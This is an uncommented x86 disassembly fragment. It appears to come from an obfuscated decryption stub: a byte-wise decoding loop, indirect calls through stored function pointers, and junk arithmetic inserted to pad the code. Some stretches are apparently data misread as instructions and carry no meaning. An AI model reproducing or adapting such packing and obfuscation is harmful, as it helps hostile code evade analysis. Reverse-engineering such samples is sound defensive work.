mov edx, dword [ebp - 0x1fd8]
mov dword [ebp - 0x8d0], edx
jmp 0x650190df
mov eax, dword [ebp - 0x8d0]
add eax, 1
mov dword [ebp - 0x8d0], eax
mov ecx, dword [ebp - 0x8d0]
cmp ecx, dword [ebp - 0xc20]
jae 0x6501913b
push edi
and edi, 0xa07c
sub edi, 0x173b5
call 0x65019109
add byte [ebx], bh
inc edi
cmp ecx, dword [ecx + 0x3b]
cmp byte [edi + esi - 0x7d], cl
les eax, [ecx + eax*4]
out 0xf, eax
insb byte es:[edi], dx
add dword [eax], eax
pop edi
push ebx
push edx
add esp, 4
sub ebx, 0x1477c
pop ebx
movzx edx, byte [ebp - 0x459]
mov eax, dword [ebp - 0x8d0]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0x8d0]
mov byte [edx], cl
jmp 0x650190d0
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0x1fdc], eax
lea ecx, [ebp - 0xf00]
push ecx
mov edx, dword [ebp - 0xf00]
push edx
mov eax, dword [ebp - 0x19c8]
push eax
mov ecx, dword [ebp - 0x494]
push ecx
call dword [ebp - 0x1fdc]
test eax, eax
jne 0x650191b3
push ecx
xor ecx, 0x3edf
sub ecx, 0x1895
add ecx, 0x11268
pop ecx
push edx
push eax
add esp, 4
sub edx, 0x6656
sub edx, 0x30d2
and edx, 0xcbee
add edx, 0xe924
pop edx
mov edx, dword [ebp - 0x8d4]
mov dword [ebp - 0x1fe0], edx
push 0
call dword [ebp - 0x1fe0]
push eax
xor eax, 0xf2f3
sub eax, 0x7697
sub eax, 0x406e
pop eax
push edi
push esi
add esp, 4
xor edi, 0x954e
jmp 0x650191d8
add edi, 0x121a7
add edi, 0x6cb3
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pushal
mov dh, al
xor eax, 0xf88a0909
and ah, dh
or dword [ecx], ecx
mov dl, al
pop esp
xchg ebx, eax
or dword [ecx], ecx
push 0xc3f28a5a
lds ecx, [ecx]
or dword [edx + 0xa3d4fd2], ecx
or ecx, esi
adc dword [ecx], ecx
or dword [ecx], ecx
or dword [ecx + 0x4c], eax
inc esp
dec edx
push ecx
push edi
mov ebp, cs
or eax, 0x5d8ecf62
std
or byte [eax], cl
push eax
iretd